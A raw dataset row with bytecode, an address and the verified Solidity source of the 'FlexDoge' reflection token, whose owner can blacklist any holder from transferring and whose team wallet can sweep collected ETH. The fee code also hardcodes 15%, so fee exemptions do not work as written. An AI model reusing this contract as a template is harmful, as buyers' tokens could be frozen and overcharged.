610cfb565b60019150509392505050565b6000600754905090565b60006106ac610617610cf3565b848460026000610625610cf3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106a791906119e4565b610cfb565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606006805461076390611ae9565b80601f016020809104026020016040519081016040528092919081815260200182805461078f90611ae9565b80156107dc5780601f106107b1576101008083540402835291602001916107dc565b820191906000526020600020905b8154815290600101906020018083116107bf57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610876576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086d906118ed565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080600260006108df610cf3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561099c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109939061198d565b60405180910390fd5b6109b96109a7610cf3565b8585846109b49190611a3a565b610cfb565b600191505092915050565b60006109d86109d1610cf3565b8484610ec6565b6001905092915050565b6000600860009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a80906118ed565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6b906118ed565b60405180910390fd5b60011515600860009054906101000a900460ff1615151415610bb0576000600860006101000a81548160ff021916908315150217905550610bcc565b6001600860006101000a81548160ff0219169083151502179055505b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdc906118ed565b60405180910390fd5b610cef82826113ad565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d629061196d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ddb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd29061188d565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610eb991906119ad565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2d9061192d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9d9061184d565b60405180910390fd5b60008111610fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe09061186d565b60405180910390fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061108a5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110e65760001515600860009054906101000a900460ff161515146110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110dc9061194d565b60405180910390fd5b5b60011515600860009054906101000a900460ff16151514806111555750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111ad5750600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611351576111bd8383836114f0565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a906118ad565b60405180910390fd5b818161124f9190611a3a565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112df91906119e4565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134391906119ad565b60405180910390a3506113a8565b60011515600860009054906101000a900460ff161515146113a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139e9061194d565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114149061190d565b60405180910390fd5b8060045461142b9190611a3a565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806003600082825461147f9190611a3a565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516114e491906119ad565b60405180910390a35050565b505050565b60008135905061150481611e7d565b92915050565b60008135905061151981611e94565b92915050565b60006020828403121561153157600080fd5b600061153f848285016114f5565b91505092915050565b6000806040838503121561155b57600080fd5b6000611569858286016114f5565b925050602061157a858286016114f5565b9150509250929050565b60008060006060848603121561159957600080fd5b60006115a7868287016114f5565b93505060206115b8868287016114f5565b92505060406115c98682870161150a565b9150509250925092565b600080604083850312156115e657600080fd5b60006115f4858286016114f5565b92505060206116058582860161150a565b9150509250929050565b60006020828403121561162157600080fd5b600061162f8482850161150a565b91505092915050565b61164181611a80565b82525050565b6000611652826119c8565b61165c81856119d3565b935061166c818560208601611ab6565b61167581611b79565b840191505092915050565b600061168d6023836119d3565b915061169882611b8a565b604082019050919050565b60006116b06029836119d3565b91506116bb82611bd9565b604082019050919050565b60006116d36022836119d3565b91506116de82611c28565b604082019050919050565b60006116f66026836119d3565b915061170182611c77565b604082019050919050565b60006117196028836119d3565b915061172482611cc6565b604082019050919050565b600061173c6020836119d3565b915061174782611d15565b602082019050919050565b600061175f6021836119d3565b915061176a82611d3e565b604082019050919050565b60006117826025836119d3565b915061178d82611d8d565b604082019050919050565b60006117a56000836119d3565b91506117b082611ddc565b600082019050919050565b60006117c86024836119d3565b91506117d382611ddf565b604082019050919050565b60006117eb6025836119d3565b91506117f682611e2e565b604082019050919050565b61180a81611aac565b82525050565b60006020820190506118256000830184611638565b92915050565b600060208201905081810360008301526118458184611647565b905092915050565b6000602082019050818103600083015261186681611680565b9050919050565b60006020820190508181036000830152611886816116a3565b9050919050565b600060208201905081810360008301526118a6816116c6565b9050919050565b600060208201905081810360008301526118c6816116e9565b9050919050565b600060208201905081810360008301526118e68161170c565b9050919050565b600060208201905081810360008301526119068161172f565b9050919050565b6000602082019050818103600083015261192681611752565b9050919050565b6000602082019050818103600083015261194681611775565b9050919050565b6000602082019050818103600083015261196681611798565b9050919050565b60006020820190508181036000830152611986816117bb565b9050919050565b600060208201905081810360008301526119a6816117de565b9050919050565b60006020820190506119c26000830184611801565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119ef82611aac565b91506119fa83611aac565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611a2f57611a2e611b1b565b5b828201905092915050565b6000611a4582611aac565b9150611a5083611aac565b925082821015611a6357611a62611b1b565b5b828203905092915050565b6000611a7982611a8c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015611ad4578082015181840152602081019050611ab9565b83811115611ae3576000848401525b50505050565b60006002820490506001821680611b0157607f821691505b60208210811415611b1557611b14611b4a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e8681611a6e565b8114611e9157600080fd5b50565b611e9d81611aac565b8114611ea857600080fd5b5056fea26469706673582212207c0a80291639fe57338c4f140ca6148168e530d4f7b6d80ecaf444c9fc86640c64736f6c63430008010033
|
{"success": true, "error": null, "results": {}}
| 6,242 |
0x2aaa61d4e5d7f0b1bfa9e379d285621ac21db874
|
/**
*Submitted for verification at Etherscan.io on 2021-07-08
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FlexDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = " flexdoge.finance ";
string private constant _symbol = " FlexDoge ";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_teamAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280601281526020017f20666c6578646f67652e66696e616e6365200000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f20466c6578446f67652000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff